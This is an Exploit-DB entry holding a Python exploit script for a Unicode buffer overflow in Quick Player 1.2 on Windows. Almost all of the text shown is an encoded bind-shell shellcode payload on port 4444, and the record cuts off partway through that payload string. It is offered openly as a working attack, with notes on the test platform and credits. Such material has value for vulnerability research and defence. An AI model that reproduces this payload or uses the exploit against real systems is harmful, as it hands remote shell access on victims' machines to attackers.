Exploit-DB #11046
Description: Quick Player 1.2 - Unicode Buffer Overflow (2)
Type: local
Platform: windows
Date: 2010-01-06
Author: sinn3r

Exploit:
#!/usr/bin/python

## Quick Player v1.2 Unicode Buffer Overflow
## Found by  :  mr_me  (great job by mr_me!)  http://www.exploit-db.com/exploits/10797
## Coded by  :  sinn3r  (x90.sinner{at}gmail{d0t]c0m)
## thanks    :  corelanc0d3r's unicode article - awesome job!
## Tested on :  Windows XP SP3 ENG
## Oops! Here goes one of my n00b moments...

# windows/shell_bind_tcp lport=4444 http://metasploit.com
# Plenty of space...
bindshell = ("\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51\x41\x54"
"\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44\x41\x5a\x41\x42"
"\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41"
"\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
"\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38"
"\x41\x41\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51"
"\x49\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51\x49"
"\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
"\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x45\x39\x49\x51\x49\x4a"
"\x49\x49\x48\x59\x44\x31\x4a\x54\x51\x4d\x42\x35\x42\x39\x50"
"\x49\x50\x49\x51\x39\x51\x39\x50\x49\x51\x39\x50\x49\x51\x39"
"\x51\x39\x51\x39\x51\x33\x50\x43\x50\x43\x50\x43\x50\x43\x50"
"\x43\x50\x37\x42\x31\x50\x5a\x42\x4a\x51\x31\x50\x58\x50\x50"
"\x50\x30\x51\x31\x50\x30\x51\x31\x42\x4b\x51\x31\x51\x31\x42"
"\x31\x50\x32\x51\x31\x51\x32\x50\x32\x51\x32\x51\x32\x50\x30"
"\x50\x42\x51\x32\x51\x31\x51\x32\x50\x58\x42\x30\x50\x38\x51"
"\x31\x51\x32\x42\x55\x50\x4a\x51\x39\x50\x49\x42\x4c\x50\x4d"
"\x50\x38\x50\x4f\x44\x39\x50\x43\x50\x30\x50\x47\x42\x50\x50"
"\x45\x50\x50\x51\x35\x50\x30\x50\x4b\x50\x39\x50\x4a\x50\x45"
"\x50\x45\x43\x31\x50\x4e\x50\x32\x50\x43\x42\x34\x50\x4c\x50"
"\x4b\x50\x50\x51\x42\x50\x46\x50\x50\x50\x4e\x42\x4b\x42\x31"
"\x50\x42\x50\x44\x50\x4c\x50\x4c\x50\x4b\x51\x36\x50\x32\x51"
"\x37\x43\x34\x50\x4e\x42\x4b\x50\x51\x43\x32\x50\x47\x42\x38"
"\x50\x44\x50\x4f\x50\x4c\x42\x57\x51\x32\x51\x5a\x51\x35\x43"
"\x46\x51\x36\x50\x51\x50\x49\x42\x4f\x50\x46\x42\x31\x50\x4b"
"\x42\x50\x50\x4c\x42\x4c\x50\x45\x42\x4c\x50\x50\x43\x31\x50"
"\x51\x42\x4c\x51\x35\x42\x32\x50\x46\x50\x4c\x51\x35\x42\x50"
"\x50\x4a\x43\x31\x50\x4a\x42\x4f\x51\x34\x50\x4d\x51\x37\x42"
"\x51\x50\x4b\x42\x57\x51\x39\x44\x32\x50\x4c\x50\x30\x50\x46"
"\x50\x32\x50\x43\x43\x37\x50\x4e\x42\x4b\x50\x43\x42\x42\x51"
"\x34\x50\x50\x50\x4c\x50\x4b\x50\x50\x50\x42\x50\x47\x50\x4c"
"\x50\x46\x51\x51\x50\x4e\x50\x30\x50\x4e\x42\x4b\x50\x47\x50"
"\x30\x50\x42\x51\x48\x50\x4f\x42\x55\x50\x4b\x42\x50\x51\x34"
"\x50\x34\x50\x43\x43\x4a\x51\x37\x44\x31\x50\x48\x50\x50\x51"
"\x32\x44\x30\x50\x4c\x50\x4b\x50\x42\x42\x48\x50\x42\x50\x38"
"\x50\x4c\x50\x4b\x42\x31\x51\x38\x51\x37\x42\x30\x51\x37\x42"
"\x51\x50\x4e\x50\x33\x50\x4d\x50\x33\x50\x45\x42\x4c\x51\x32"
"\x43\x39\x50\x4e\x42\x4b\x51\x35\x43\x34\x50\x4c\x50\x4b\x51"
"\x37\x42\x51\x50\x49\x51\x36\x42\x30\x50\x31\x51\x39\x42\x4f"
"\x50\x44\x42\x51\x50\x4f\x50\x30\x50\x4c\x42\x4c\x50\x4b\x42"
"\x51\x50\x4a\x42\x4f\x51\x36\x42\x4d\x50\x43\x50\x31\x50\x4a"
"\x42\x47\x51\x35\x43\x38\x50\x4b\x42\x30\x50\x51\x42\x45\x50"
"\x48\x43\x44\x51\x33\x50\x33\x50\x43\x50\x4d\x50\x4a\x42\x38"
"\x51\x35\x42\x4b\x50\x43\x50\x4d\x50\x45\x44\x34\x50\x43\x51"
"\x35\x50\x48\x51\x52\x51\x32\x42\x58\x50\x4c\x50\x4b\x50\x42"
"\x44\x38\x50\x47\x51\x44\x51\x37\x44\x31\x50\x4b\x43\x33\x50"
"\x50\x43\x36\x50\x4e\x42\x4b\x50\x44\x50\x4c\x50\x42\x42\x4b"
"\x50\x4c\x50\x4b\x51\x33\x42\x48\x51\x35\x50\x4c\x50\x45\x42"
"\x31\x51\x38\x50\x53\x50\x4e\x42\x4b\x51\x36\x51\x54\x50\x4e"
"\x42\x4b\x51\x37\x44\x31\x51\x38\x42\x30\x50\x4d\x42\x39\x50"
"\x51\x42\x34\x50\x45\x42\x54\x51\x34\x42\x44\x51\x33\x42\x4b"
"\x50\x43\x42\x4b\x51\x35\x50\x31\x51\x32\x44\x39\x51\x33\x51"
"\x5a\x50\x50\x50\x51\x50\x4b\x50\x4f\x50\x4b\x50\x50\x50\x42"
"\x43\x48\x51\x33\x42\x4f\x42\x31\x50\x4a\x50\x4e\x42\x4b\x50"
"\x46\x42\x52\x50\x4a\x50\x4b\x50\x4f\x42\x56\x50\x51\x50\x4d"
"\x51\x35\x50\x38\x50\x50\x50\x33\x51\x36\x51\x42\x50\x43\x50"
"\x30\x50\x47\x42\x50\x51\x35\x50\x38\x51\x34\x50\x37\x42\x30"
"\x43\x43\x50\x44\x42\x52\x51\x33\x42\x4f\x50\x42\x43\x44\x50"
"\x51\x42\x58\x42\x30\x50\x4c\x50\x42\x42\x37\x51\x35\x44\x36"
"\x50\x47\x42\x57\x50\x4b\x50\x4f\x50\x4e\x50\x35\x50\x4f\x50"
"\x48\x50\x4c\x50\x50\x50\x45\x50\x51\x50\x47\x44\x30\x50\x45"
"\x42\x30\x50\x46\x51\x39\x50\x4f\x50\x34\x50\x46\x50\x34\x51"
"\x32\x44\x30\x51\x35\x50\x38\x42\x31\x50\x39\x50\x4b\x50\x30"
"\x42\x30\x42\x4b\x51\x33\x50\x30\x50\x4b\x50\x4f\x50\x49\x51"
"\x35\x50\x50\x42\x30\x50\x46\x50\x30\x42\x30\x42\x30\x51\x36"
"\x50\x30\x50\x51\x42\x30\x51\x36\x50\x30\x42\x31\x42\x30\x50"
"\x42\x42\x50\x51\x35\x50\x38\x51\x38\x42\x4a\x50\x46\x42\x4f"
"\x50\x49\x50\x4f\x51\x39\x42\x50\x50\x4b\x50\x4f\x50\x48\x42"
"\x35\x50\x4d\x42\x39\x50\x4b\x44\x37\x51\x36\x42\x31\x50\x4b"
"\x42\x4b\x51\x32\x42\x53\x50\x50\x51\x58\x50\x45\x51\x42\x51"
"\x35\x42\x30\x51\x36\x42\x51\x50\x43\x42\x4c\x50\x4f\x42\x59"
"\x50\x4a\x51\x36\x50\x50\x51\x5a\x51\x36\x42\x50\x51\x36\x50"
"\x36\x51\x32\x43\x47\x50\x51\x42\x58\x51\x39\x50\x52\x51\x39"
"\x50\x4b\x51\x37\x51\x37\x50\x50\x42\x47\x51\x39\x42\x4f\x50"
"\x4e\x50\x35\x50\x46\x50\x33\x50\x42\x44\x37\x42\x31\x42\x58"
"\x50\x4e\x42\x37\x50\x48\x51\x59\x51\x36\x51\x48\x50\x4b\x50"
"\x4f\x50\x4b\x50\x4f\x50\x48\x50\x55\x50\x43\x51\x53\x51\x33"
"\x42\x43\x51\x33\x51\x57\x50\x50\x42\x48\x42\x30\x42\x54\x51"
"\x38\x42\x4c\x51\x35\x42\x4b\x50\x4d\x50\x31\x50\x49\x42\x4f"
"\x50\x4b\x42\x45\x51\x33\x43\x37\x50\x4f\x43\x49\x50\x49\x51"
"\x47\x50\x42\x50\x48\x42\x31\x51\x55\x51\x32\x50\x4e\x51\x32"
"\x42\x4d\x51\x33\x42\x31\x50\x4b\x50\x4f\x50\x48\x51\x45\x50"
"\x42\x51\x38\x50\x43\x42\x33\x51\x32\x50\x4d\x42\x30\x43\x34"
"\x51\x37\x42\x50\x50\x4d\x51\x49\x51\x38\x51\x53\x50\x51\x50"
"\x47\x42\x31\x51\x37\x51\x36\x50\x37\x50\x44\x44\x31\x50\x4c"
"\x50\x36\x50\x51\x42\x5a\x50\x42\x50\x32\x42\x31\x51\x39\x50"
"\x46\x50\x36\x50\x4d\x50\x32\x51\x39\x42\x4d